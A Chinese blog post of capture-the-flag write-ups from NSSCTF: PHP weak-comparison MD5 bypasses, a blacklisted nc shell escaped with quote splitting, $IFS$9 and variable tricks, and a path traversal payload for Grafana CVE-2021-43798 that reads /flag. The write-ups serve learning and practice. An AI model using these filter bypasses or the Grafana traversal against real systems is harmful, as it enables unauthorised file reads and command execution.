美文网首页
2023-04-18

2023-04-18

作者: Tess鱼丸 | 来源:发表于2023-04-17 14:02 被阅读0次

    NSS第一题

    image.png
    通过阅读代码,可以看出是要求你通过POST请求传递一个id为"wllmNB"参数的同时,通过get请求也传递一个json格式的参数,关键payload如下:
    
    POST /?json={"x":"wllm"} HTTP/1.1
    ...
    
    id=wllmNB
    

    第二题easy MD5

    image.png
    POST、GET、MD5匹配
    
    仔细阅读代码发现
    
    if ($name != $password && md5($name) == md5($password)){
            echo $flag;
        } 
    
    既要两变量个值不相同,又要两个变量md5值一样,
    可以发现此时判断md5值是否一样用的是==,这是php的弱类型比较,
    方法一: 可以使用带0e开头的数字穿进行传递参数,
            因为php会将0e开头的数字转化为0,故此时md5值相等,而两个变量值不相等;
    方法二: 可以传递数组,如name[]=123,password[]=456,md5不能加密数组,故两个md5返回的都是null
    
    另:若遇到===这样的强类型比较,方法一就失效了,
        方法二仍然有效,或者还可以使用软件fastcoll进行md5碰撞,生成两个字符串使得他们的md5值相同
    
    

    nc签到题

    直接nc连接就可以

    nc 1.14.71.254 28184
    
    root@2837d425b7c744ca:/# cat mai
    cat main.py 
    import os
    
    art = '''
    
       ((  "####@@!!$$    ))
           `#####@@!$$`  ))
        ((  '####@!!$:
       ((  ,####@!!$:   ))
           .###@!!$:
           `##@@!$:
            `#@!!$
      !@#    `#@!$:       @#$
       #$     `#@!$:       !@!
                '@!$:
            '`\   "!$: /`'
               '\  '!: /'
                 "\ : /"
      -."-/\\\-."//.-"/:`\."-.JrS"."-=_\\
    " -."-.\\"-."//.-".`-."_\\-.".-\".-//'''
    print(art)
    print("My_shell_ProVersion")
    
    
    blacklist = ['cat','ls',' ','cd','echo','<','${IFS}']
    
    while True:
        command = input()
        for i in blacklist:
            if i in command:
                exit(0)
        os.system(command)
    
    过滤了空格、ls、cat、<等,可以使用引号截断绕过,
    
    pwd
    /
    
    
    
    l's'
    bin
    boot
    dev
    etc
    flag
    home
    lib
    lib64
    main.py
    media
    mnt
    opt
    proc
    root
    run
    run.sh
    sbin
    srv
    sys
    tmp
    usr
    var
    
    
    c'at'$IFS$9flag
    
    
    
    !!!!其他方法!!!!
    =======
     a=c;b=a;c=t;$a$b$c$IFS$1flag
    
    nl$IFS$9f*
    =======
    
    
    在bash的shell下,nc完了直接输su,然后没反应,
    不用管,继续输cat flag就出来了哈哈哈,不过我试了一下zsh情况下却打不通
    
    su 
    
    id
    uid=0(root) gid=0(root) groups=0(root)
    zsh
    
    id
    uid=0(root) gid=0(root) groups=0(root)
    这里以后输入命令就不会有任何限制了
    
    ls
    bin
    boot
    dev
    
    python3 -c "import pty;pty.spawn('/bin/bash')"
    
    
    root@2837d425b7c744ca:/# ls
    ls
    bin   dev  flag  lib    main.py  mnt  proc  run     sbin  sys  usr
    boot  etc  home  lib64  media    opt  root  run.sh  srv   tmp  var
    
    root@2837d425b7c744ca:/# cat flag
    cat flag 
    NSSCTF{18d9a291-706e-4f17-9759-90e0af7e985f}
    root@2837d425b7c744ca:/# 
    
    
    

    NSS 实战

    CVE-2021-43798 Grafana任意文件读取
    抓包,修改路径
    /public/plugins/gauge/../../../../../../../../../flag

    image.png

    相关文章

      网友评论

          本文标题:2023-04-18

          本文链接:https://www.haomeiwen.com/subject/tfkcjdtx.html